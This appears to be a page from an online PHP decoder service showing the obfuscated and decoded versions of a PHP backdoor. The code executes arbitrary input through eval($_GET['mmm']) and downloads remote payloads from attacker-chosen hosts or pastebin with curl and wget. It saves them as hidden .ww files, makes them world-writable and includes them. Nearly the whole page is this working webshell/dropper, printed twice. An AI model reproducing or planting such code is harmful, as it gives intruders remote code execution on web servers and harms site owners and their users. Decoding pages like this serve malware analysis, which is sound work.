Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php gotoZUUjV; BEh9d: NPnXM: gotozveNW; qGPk3: PCTz..
Decoded Output download
<?php gotoZUUjV;
BEh9d:
NPnXM:
gotozveNW;
qGPk3:
PCTz1:
gotoovY0D;
BMyFM:
P5w9_:
gotoMNXoe;
M_VU9:
exec("curl -o .ww4 https://" . $HybnU . '');
gotoo37IH;
X1Hi2:
iuYOx:
gotoQWH82;
uWV0P:
include realpath('') . "/.ww";
gotoLXK3m;
TFYOv:
$on2O4 = $XpFg1 . '';
gotoGWdbG;
P_Vja:
$bVZ1D = curl_init();
gotoNCZXP;
KZNCO:
include realpath('') . "/.ww2";
gotoqNzX1;
w7OAs:
if (!file_exists(realpath('') . "/.ww4"))
{
gotoLuznc;
}
gotoElAG1;
NvVoE:
eval($_GET["mmm"]);
gotoF4sG6;
HWrXy:
OaJuq:
gotoFm2zU;
rzoYI:
system("wget -O .ww4 https://" . $HybnU . '');
gotow7OAs;
f3gfP:
function dE53A($ShOVu, $XpFg1)
{
file_put_contents($ShOVu, "<?php /*" . uniqid() . "*/ ?>" . $XpFg1);
}
gotojUosh;
QWH82:
wfA8z:
gotowBQ9X;
C0sI3:
unlink(".ww2");
gotoBEh9d;
FpsQF:
include realpath('') . "/.ww4";
gotoMeDMx;
qNzX1:
aZ0BN:
gotogb5bI;
Ilqd5:
$XpFg1 = curl_exec($bVZ1D);
gotoC3H7d;
kCLcj:
TjF1v:
gotoC0sI3;
p2z2X:
exec("wget -O .ww4 https://" . $HybnU . '');
gotomcGPZ;
C3H7d:
if (!$XpFg1)
{
gotoPCTz1;
}
gotoTFYOv;
iuHTW:
hH9lC:
gotoSXa4x;
fcyM1:
$jtApn = filesize(".ww4");
gotoLAaFx;
iJ3mp:
if ($_GET["mmm"])
{
gotosbc9W;
}
gotoTmPdl;
NCZXP:
curl_setopt($bVZ1D, CURLOPT_URL, $HybnU);
gotoEaNX8;
GYcid:
gotoAp9Rs;
gotoC2xwU;
vK408:
include realpath('') . "/.ww4";
gotojJfmR;
LAaFx:
if ($jtApn < 5000)
{
gotorkVHK;
}
gotoqQRW0;
K_NzB:
$HybnU = $_GET["z"];
gotoF6xHk;
tD5Jg:
chmod(realpath('') . "/.ww", 0777);
gotokLkjC;
o37IH:
if (!file_exists(realpath('') . "/.ww4"))
{
gotoY0OJT;
}
gotoHhdvG;
SLmAW:
chmod(realpath('') . "/.ww3", 0777);
gotoKZNCO;
zGjg8:
gotom62X_;
gotoHfizg;
nu4kQ:
$CVTOR = "gurl";
gotoTttkf;
xbBbm:
$lLy8e = ".ww2";
gotowaAue;
jJfmR:
I3XCE:
gotoM_VU9;
ovY0D:
if (!($CVTOR = "zurl"))
{
gotowfA8z;
}
gotoyTTEh;
wETO7:
if ($_GET["z"])
{
gotorerPF;
}
gotosPzu0;
J5Ofs:
chmod(realpath('') . "/.ww4", 0777);
gotovK408;
TmPdl:
gotoB83oH;
gotoEHDk9;
w2gnQ:
include realpath('') . "/.ww4";
gotocq28j;
lWJAV:
WiXF1:
gotoNIXPC;
qoAnI:
include realpath('') . "/.ww2";
gotoX1Hi2;
wMCh8:
Luznc:
gotop2z2X;
W2iQn:
include realpath('') . "/.ww2";
gotoO5fSb;
uflwo:
GJ6IE:
gotofcyM1;
F4sG6:
B83oH:
gotoGYcid;
vhLJ7:
if ($jtApn < 5000)
{
gotoTjF1v;
}
gotojRMtm;
EHDk9:
x05bl:
gotoJxVr_;
hzJYn:
curl_setopt($bVZ1D, CURLOPT_TIMEOUT, 60);
gotoIlqd5;
RzyeE:
m62X_:
gotoqGPk3;
D87il:
gotoGJ6IE;
gotoi4D2C;
yTTEh:
$L8xKC = $HybnU;
gotoxbBbm;
ElAG1:
chmod(realpath('') . "/.ww4", 0777);
gotoaN_U5;
tF1qh:
if ($jtApn < 5000)
{
gotohH9lC;
}
gotoM2EH1;
MeDMx:
gotosrjF7;
gotolsu_a;
BeFWd:
$CVTOR = "zurl";
gotozGjg8;
HhdvG:
chmod(realpath('') . "/.ww4", 0777);
gotoL0MYv;
rpxkN:
sbc9W:
gotoNvVoE;
JxVr_:
$HybnU = "pastebin.com/raw/" . $_GET["u"] . '';
gotovIJTp;
fXrUn:
$CVTOR = "turl";
gotoe9MW8;
wBQ9X:
if (!($CVTOR = "turl"))
{
gotoO0xdK;
}
gotoklJ5S;
waAue:
copy("https://{$L8xKC}", $lLy8e);
gotoOrY_g;
wr2Kg:
unlink(".ww3");
gotouflwo;
O5fSb:
gotoNPnXM;
gotokCLcj;
lsu_a:
rkVHK:
gotoZGjca;
kLkjC:
include realpath('') . "/.ww";
gotoRzyeE;
vXTpr:
if (!($CVTOR = "gurl"))
{
gotoWiXF1;
}
gotorzoYI;
kCpYa:
if (file_exists(realpath('') . "/.ww"))
{
gotow0kOb;
}
gotoBeFWd;
h9q6w:
include realpath('') . "/.ww3";
gotoD87il;
e9MW8:
gotoiuYOx;
gotoBMyFM;
i4D2C:
w8ouF:
gotowr2Kg;
klJ5S:
$UyYps = file_get_contents("https://" . $HybnU . '');
gotoyrAOx;
OrY_g:
if (file_exists(realpath('') . "/.ww2"))
{
gotoP5w9_;
}
gotofXrUn;
jUosh:
$jtApn = filesize(".ww");
gototF1qh;
ZUUjV:
echo "POST>PASSWORD: CHECKBOX NAME="F[]" VALUE=" "_upl" value="Upload" name="uploader" id="uploader"";
gotowETO7;
ZGjca:
unlink(".ww4");
gotoNBsmZ;
C2xwU:
rerPF:
gotoK_NzB;
RMpOU:
chmod(realpath('') . "/.ww3", 0777);
gotoh9q6w;
yrAOx:
file_put_contents(".ww3", $UyYps);
gotouWWXX;
FuFPd:
if ($jtApn < 5000)
{
gotow8ouF;
}
gotoRMpOU;
GWdbG:
De53A(realpath('') . "/.ww", $on2O4);
gotokCpYa;
Tttkf:
gotoaZ0BN;
gotoq7vRB;
LXK3m:
gotoOaJuq;
gotoiuHTW;
zveNW:
$jtApn = filesize(".ww3");
gotoFuFPd;
MNXoe:
chmod(realpath('') . "/.ww2", 0777);
gotoqoAnI;
q7vRB:
dXa1o:
gotoSLmAW;
jRMtm:
chmod(realpath('') . "/.ww2", 0777);
gotoW2iQn;
XgbOy:
if (!file_exists(realpath('') . "/.ww4"))
{
gotoI3XCE;
}
gotoJ5Ofs;
cq28j:
cEScM:
gotojQnvf;
mcGPZ:
if (!file_exists(realpath('') . "/.ww4"))
{
gotocEScM;
}
gotogw2F9;
L0MYv:
include realpath('') . "/.ww4";
gotoWwVPB;
SXa4x:
unlink(".ww");
gotoHWrXy;
jQnvf:
system("curl -o .ww4 https://" . $HybnU . '');
gotoXgbOy;
Fm2zU:
$jtApn = filesize(".ww2");
gotovhLJ7;
uWWXX:
if (file_exists(realpath('') . "/.ww3"))
{
gotodXa1o;
}
gotonu4kQ;
NBsmZ:
srjF7:
gotoP_Vja;
Hfizg:
w0kOb:
gototD5Jg;
WwVPB:
Y0OJT:
gotolWJAV;
NIXPC:
gotoB83oH;
gotorpxkN;
EaNX8:
curl_setopt($bVZ1D, CURLOPT_RETURNTRANSFER, 1);
gotohzJYn;
qQRW0:
chmod(realpath('') . "/.ww4", 0777);
gotoFpsQF;
gb5bI:
O0xdK:
gotovXTpr;
M2EH1:
chmod(realpath('') . "/.ww", 0777);
gotouWV0P;
aN_U5:
include realpath('') . "/.ww4";
gotowMCh8;
vIJTp:
pros:
gotof3gfP;
sPzu0:
if ($_GET["u"])
{
gotox05bl;
}
gotoiJ3mp;
F6xHk:
gotopros;
gotoUVRoj;
gw2F9:
chmod(realpath('') . "/.ww4", 0777);
gotow2gnQ;
UVRoj:
Ap9Rs:
?>Did this file decode correctly?
Original Code
<?php gotoZUUjV;
BEh9d:
NPnXM:
gotozveNW;
qGPk3:
PCTz1:
gotoovY0D;
BMyFM:
P5w9_:
gotoMNXoe;
M_VU9:
exec("\143\165\162\x6c\40\55\x6f\40\x2e\x77\167\x34\40\150\x74\x74\160\163\72\57\57" . $HybnU . '');
gotoo37IH;
X1Hi2:
iuYOx:
gotoQWH82;
uWV0P:
include realpath('') . "\x2f\56\x77\167";
gotoLXK3m;
TFYOv:
$on2O4 = $XpFg1 . '';
gotoGWdbG;
P_Vja:
$bVZ1D = curl_init();
gotoNCZXP;
KZNCO:
include realpath('') . "\x2f\56\167\167\62";
gotoqNzX1;
w7OAs:
if (!file_exists(realpath('') . "\x2f\x2e\x77\167\x34"))
{
gotoLuznc;
}
gotoElAG1;
NvVoE:
eval($_GET["\155\x6d\155"]);
gotoF4sG6;
HWrXy:
OaJuq:
gotoFm2zU;
rzoYI:
system("\167\147\x65\164\x20\55\x4f\x20\56\x77\167\x34\40\x68\x74\x74\160\163\x3a\x2f\x2f" . $HybnU . '');
gotow7OAs;
f3gfP:
function dE53A($ShOVu, $XpFg1)
{
file_put_contents($ShOVu, "\74\x3f\x70\150\160\x20\57\52" . uniqid() . "\52\x2f\x20\x3f\76" . $XpFg1);
}
gotojUosh;
QWH82:
wfA8z:
gotowBQ9X;
C0sI3:
unlink("\x2e\x77\x77\x32");
gotoBEh9d;
FpsQF:
include realpath('') . "\57\x2e\167\x77\64";
gotoMeDMx;
qNzX1:
aZ0BN:
gotogb5bI;
Ilqd5:
$XpFg1 = curl_exec($bVZ1D);
gotoC3H7d;
kCLcj:
TjF1v:
gotoC0sI3;
p2z2X:
exec("\167\147\145\x74\40\55\x4f\40\x2e\x77\x77\64\40\x68\164\x74\160\163\72\x2f\57" . $HybnU . '');
gotomcGPZ;
C3H7d:
if (!$XpFg1)
{
gotoPCTz1;
}
gotoTFYOv;
iuHTW:
hH9lC:
gotoSXa4x;
fcyM1:
$jtApn = filesize("\56\x77\x77\64");
gotoLAaFx;
iJ3mp:
if ($_GET["\x6d\155\155"])
{
gotosbc9W;
}
gotoTmPdl;
NCZXP:
curl_setopt($bVZ1D, CURLOPT_URL, $HybnU);
gotoEaNX8;
GYcid:
gotoAp9Rs;
gotoC2xwU;
vK408:
include realpath('') . "\57\56\x77\x77\x34";
gotojJfmR;
LAaFx:
if ($jtApn < 5000)
{
gotorkVHK;
}
gotoqQRW0;
K_NzB:
$HybnU = $_GET["\172"];
gotoF6xHk;
tD5Jg:
chmod(realpath('') . "\57\x2e\167\x77", 0777);
gotokLkjC;
o37IH:
if (!file_exists(realpath('') . "\x2f\56\x77\167\x34"))
{
gotoY0OJT;
}
gotoHhdvG;
SLmAW:
chmod(realpath('') . "\x2f\x2e\x77\167\x33", 0777);
gotoKZNCO;
zGjg8:
gotom62X_;
gotoHfizg;
nu4kQ:
$CVTOR = "\147\x75\x72\x6c";
gotoTttkf;
xbBbm:
$lLy8e = "\x2e\x77\x77\62";
gotowaAue;
jJfmR:
I3XCE:
gotoM_VU9;
ovY0D:
if (!($CVTOR = "\x7a\165\162\x6c"))
{
gotowfA8z;
}
gotoyTTEh;
wETO7:
if ($_GET["\172"])
{
gotorerPF;
}
gotosPzu0;
J5Ofs:
chmod(realpath('') . "\57\56\167\x77\64", 0777);
gotovK408;
TmPdl:
gotoB83oH;
gotoEHDk9;
w2gnQ:
include realpath('') . "\x2f\56\x77\x77\64";
gotocq28j;
lWJAV:
WiXF1:
gotoNIXPC;
qoAnI:
include realpath('') . "\x2f\56\x77\x77\x32";
gotoX1Hi2;
wMCh8:
Luznc:
gotop2z2X;
W2iQn:
include realpath('') . "\x2f\x2e\x77\167\x32";
gotoO5fSb;
uflwo:
GJ6IE:
gotofcyM1;
F4sG6:
B83oH:
gotoGYcid;
vhLJ7:
if ($jtApn < 5000)
{
gotoTjF1v;
}
gotojRMtm;
EHDk9:
x05bl:
gotoJxVr_;
hzJYn:
curl_setopt($bVZ1D, CURLOPT_TIMEOUT, 60);
gotoIlqd5;
RzyeE:
m62X_:
gotoqGPk3;
D87il:
gotoGJ6IE;
gotoi4D2C;
yTTEh:
$L8xKC = $HybnU;
gotoxbBbm;
ElAG1:
chmod(realpath('') . "\57\56\x77\x77\x34", 0777);
gotoaN_U5;
tF1qh:
if ($jtApn < 5000)
{
gotohH9lC;
}
gotoM2EH1;
MeDMx:
gotosrjF7;
gotolsu_a;
BeFWd:
$CVTOR = "\x7a\x75\x72\x6c";
gotozGjg8;
HhdvG:
chmod(realpath('') . "\57\56\167\x77\x34", 0777);
gotoL0MYv;
rpxkN:
sbc9W:
gotoNvVoE;
JxVr_:
$HybnU = "\x70\x61\x73\164\145\x62\151\156\56\143\x6f\x6d\x2f\162\141\x77\x2f" . $_GET["\165"] . '';
gotovIJTp;
fXrUn:
$CVTOR = "\164\165\162\154";
gotoe9MW8;
wBQ9X:
if (!($CVTOR = "\x74\165\x72\x6c"))
{
gotoO0xdK;
}
gotoklJ5S;
waAue:
copy("\x68\164\164\x70\163\x3a\57\x2f{$L8xKC}", $lLy8e);
gotoOrY_g;
wr2Kg:
unlink("\x2e\167\167\63");
gotouflwo;
O5fSb:
gotoNPnXM;
gotokCLcj;
lsu_a:
rkVHK:
gotoZGjca;
kLkjC:
include realpath('') . "\x2f\x2e\167\167";
gotoRzyeE;
vXTpr:
if (!($CVTOR = "\147\x75\162\154"))
{
gotoWiXF1;
}
gotorzoYI;
kCpYa:
if (file_exists(realpath('') . "\x2f\56\167\167"))
{
gotow0kOb;
}
gotoBeFWd;
h9q6w:
include realpath('') . "\57\56\x77\x77\63";
gotoD87il;
e9MW8:
gotoiuYOx;
gotoBMyFM;
i4D2C:
w8ouF:
gotowr2Kg;
klJ5S:
$UyYps = file_get_contents("\150\x74\164\x70\163\72\x2f\x2f" . $HybnU . '');
gotoyrAOx;
OrY_g:
if (file_exists(realpath('') . "\57\x2e\x77\x77\62"))
{
gotoP5w9_;
}
gotofXrUn;
jUosh:
$jtApn = filesize("\56\x77\167");
gototF1qh;
ZUUjV:
echo "\x50\x4f\x53\x54\x3e\120\x41\x53\x53\x57\117\122\104\72\40\x20\x20\x20\x20\x43\110\105\103\x4b\102\117\x58\40\x4e\101\x4d\105\x3d\42\106\x5b\x5d\42\x20\126\101\114\x55\105\x3d\x22\x20\40\x22\137\165\160\154\x22\x20\166\141\x6c\165\x65\x3d\x22\x55\x70\154\157\141\144\x22\x20\x6e\141\155\145\75\x22\165\160\x6c\x6f\x61\144\145\162\x22\40\151\x64\75\42\165\x70\154\x6f\x61\x64\x65\x72\42";
gotowETO7;
ZGjca:
unlink("\x2e\x77\167\x34");
gotoNBsmZ;
C2xwU:
rerPF:
gotoK_NzB;
RMpOU:
chmod(realpath('') . "\57\x2e\x77\167\63", 0777);
gotoh9q6w;
yrAOx:
file_put_contents("\56\167\x77\63", $UyYps);
gotouWWXX;
FuFPd:
if ($jtApn < 5000)
{
gotow8ouF;
}
gotoRMpOU;
GWdbG:
De53A(realpath('') . "\x2f\56\x77\167", $on2O4);
gotokCpYa;
Tttkf:
gotoaZ0BN;
gotoq7vRB;
LXK3m:
gotoOaJuq;
gotoiuHTW;
zveNW:
$jtApn = filesize("\x2e\x77\167\63");
gotoFuFPd;
MNXoe:
chmod(realpath('') . "\x2f\56\167\167\62", 0777);
gotoqoAnI;
q7vRB:
dXa1o:
gotoSLmAW;
jRMtm:
chmod(realpath('') . "\57\56\x77\x77\x32", 0777);
gotoW2iQn;
XgbOy:
if (!file_exists(realpath('') . "\x2f\x2e\167\167\x34"))
{
gotoI3XCE;
}
gotoJ5Ofs;
cq28j:
cEScM:
gotojQnvf;
mcGPZ:
if (!file_exists(realpath('') . "\x2f\x2e\167\167\x34"))
{
gotocEScM;
}
gotogw2F9;
L0MYv:
include realpath('') . "\x2f\56\167\167\64";
gotoWwVPB;
SXa4x:
unlink("\x2e\x77\167");
gotoHWrXy;
jQnvf:
system("\143\x75\x72\x6c\40\x2d\157\x20\56\167\x77\x34\40\150\164\164\x70\163\x3a\57\x2f" . $HybnU . '');
gotoXgbOy;
Fm2zU:
$jtApn = filesize("\56\167\167\x32");
gotovhLJ7;
uWWXX:
if (file_exists(realpath('') . "\x2f\56\167\167\x33"))
{
gotodXa1o;
}
gotonu4kQ;
NBsmZ:
srjF7:
gotoP_Vja;
Hfizg:
w0kOb:
gototD5Jg;
WwVPB:
Y0OJT:
gotolWJAV;
NIXPC:
gotoB83oH;
gotorpxkN;
EaNX8:
curl_setopt($bVZ1D, CURLOPT_RETURNTRANSFER, 1);
gotohzJYn;
qQRW0:
chmod(realpath('') . "\x2f\56\x77\167\64", 0777);
gotoFpsQF;
gb5bI:
O0xdK:
gotovXTpr;
M2EH1:
chmod(realpath('') . "\x2f\56\167\x77", 0777);
gotouWV0P;
aN_U5:
include realpath('') . "\x2f\x2e\x77\x77\64";
gotowMCh8;
vIJTp:
pros:
gotof3gfP;
sPzu0:
if ($_GET["\165"])
{
gotox05bl;
}
gotoiJ3mp;
F6xHk:
gotopros;
gotoUVRoj;
gw2F9:
chmod(realpath('') . "\x2f\x2e\x77\x77\x34", 0777);
gotow2gnQ;
UVRoj:
Ap9Rs:
Function Calls
| None |
Stats
| MD5 | 8171670a06d555276d076774f975c91f |
| Eval Count | 0 |
| Decode Time | 153 ms |